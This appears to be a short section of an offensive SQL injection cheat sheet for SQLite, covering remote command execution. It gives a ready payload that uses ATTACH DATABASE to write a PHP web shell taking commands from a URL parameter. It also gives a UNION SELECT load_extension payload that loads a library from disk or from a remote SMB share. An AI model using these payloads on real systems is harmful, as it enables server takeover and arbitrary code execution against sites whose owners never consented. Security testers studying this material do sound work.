Remote Command Execution

Attach Database

The SQLite ATTACH DATABASE statement permit to attach additional databases to the current database connection. It can thus be used to attach to others databases stored on the file system and that may contain interesting information.

Moreover, if the attached database does not exist, a new file is created on the file system, given the web server user as write privilege at the specified path. By creating a file that will be executed by the web server and inserting code in a table field, remote command execution can be achieved upon access of the file.

Note: stacked queries must be supported, which is the default SQLite configuration

# Example ATTACH DATABASE to write a PHP web shell

ATTACH DATABASE '<FULLPATH | RELATIVE_PATH>/<FILENAME>' AS file; CREATE TABLE file.cmd (dataz text); INSERT INTO file.cmd (dataz) VALUES ('<?system($_GET["cmd"]); ?>');--

Load_extension statement

The SELECT load_extension statement can be used to load a library from disk (such as a DLL or shared object .so file). The second parameter corresponds to the entry point of the library.

UNION SELECT 1,load_extension('<LIBRARY_PATH | \\<IP | HOSTNAME>\<SHARE>\<LIBRARY>','<DllMain | ENTRY_POINT>');--



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